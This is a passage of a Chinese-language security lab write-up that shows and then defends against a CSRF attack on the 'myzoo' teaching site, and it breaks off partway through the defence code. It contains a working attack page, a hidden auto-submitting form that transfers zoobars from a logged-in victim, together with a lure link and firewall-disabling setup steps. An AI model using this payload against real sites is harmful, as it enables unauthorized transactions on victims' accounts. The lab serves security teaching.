信息安全实践Lab3-CSRF&XSS&Click Jacking
该实验可以在一台虚拟机上完成,本文采用两台虚拟机的方式,myzoo网站所在虚拟机ip:10.211.55.14 , 攻击者网站所在虚拟机ip:10.211.55.16 。
CSRF
在zoobar网站上展示并防御CSRF攻击。请注意在防御时的粒度问题,防止所有人的token都一样;以及刷新太快,正常操作都失败。
配置
先在myzoo网站注册两个账号 victim和csrfattack。
攻击者服务器所在虚拟机配置(10.211.55.16):
1.安装apache2
sudo apt-get install apache2
2.关闭防火墙
sudo ufw disable
3.配置hosts
sudo vim /etc/hosts
在最后添加
10.211.55.14 www.myzoo.com #这里的ip填写myzoo服务器的ip地址
127.0.0.1 www.attack.com
4.编写index.html文件
sudo cd /var/www/html
sudo vim index.html
将下面的内容复制进去即可
index.html
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
<title>my profile</title>
</head>
<body>
<iframe name="it" style="display:none" width="600px" height="450px"></iframe>
<form method="POST"
name="transferform"
action="http://www.myzoo.com/transfer.php"
target="it"
id="transferform"
style="display:none">
<input name="zoobars" type="text" value="1" size="5">
<input name="recipient" type="text" value="csrfattack">
<input type="hidden" name="submission" value="Send">
</form>
<img src="http://106.13.136.87:8080/101.jpeg">
<script type="text/javascript">
form = document.getElementById("transferform");
form.submit();
</script>
</body>
</html>
myzoo网站所在虚拟机配置(10.211.55.14):
1.关闭防火墙
sudo ufw disable
2.配置hosts
sudo vim /etc/hosts
在最后添加
127.0.0.1 www.myzoo.com
10.211.55.16 www.attack.com #这里的ip填写攻击者服务器的ip地址
攻击
1.在csrfattack账号的profile中写入:
<a href="http://www.attack.com"> 点击查看我的照片哦</a>
然后点击save。
2.在10.211.55.14上登录victim账户,victim用户去查看csrfattack的profile
当victim点击该链接后,就会向csrfattack转1个zoobars。
防御
方法1:使用session
修改transfer.php文件:
1.在开头加入下面的内容
<?php
session_start();
?>
2.修改if语句
if($_POST['submission'] && $_POST['token'] == $_SESSION['csrf'])
3.在45-47行加入下面内容
<?php
$_SESSION['csrf'] = md5(uniqid(mt_rand(), true));
?>
4.在form中添加下面的内容
<input type=hidden name=token value="<?php echo $_SESSION['csrf']?>"/>
修改后的transfer.php如下:
<?php
session_start();
?>
<?php
require_once("includes/common.php");
nav_start_outer("Transfer");
nav_start_inner();
//if($_POST[&#